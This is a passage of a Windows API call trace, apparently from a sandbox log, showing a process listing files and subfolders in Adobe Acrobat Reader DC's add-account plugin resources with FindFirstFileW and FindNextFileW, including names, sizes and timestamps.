[0247.160] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0247.160] GetProcessHeap () returned 0xc10000 [0247.160] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0247.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0247.165] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.165] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0247.165] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0247.166] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0247.166] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0247.166] GetProcessHeap () returned 0xc10000 [0247.166] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0247.166] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0247.167] GetProcessHeap () returned 0xc10000 [0247.167] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0247.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0247.169] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.169] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0247.169] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0247.170] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0247.170] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0247.170] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0247.170] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0247.170] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0247.170] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0247.170] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0247.170] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0247.171] GetProcessHeap () returned 0xc10000 [0247.171] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0247.172] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.172] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0247.172] GetProcessHeap () returned 0xc10000 [0247.172] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0247.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0247.177] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.177] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0247.177] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0247.177] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0247.177] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0247.177] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0247.177] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0247.177] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0247.178] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0247.178] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0247.178] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 0 [0247.178] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0247.179] GetProcessHeap () returned 0xc10000 [0247.179] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0247.179] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0247.179] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0247.180] GetProcessHeap () returned 0xc10000 [0247.180] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.180] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0247.180] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0247.180] GetProcessHeap () returned 0xc10000 [0247.180] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0247.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0247.182] GetProcessHeap () returned 0xc10000 [0247.182] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0247.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0247.392] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.392] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0247.392] GetProcessHeap () returned 0xc10000 [0247.392] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0247.393] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0247.396] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 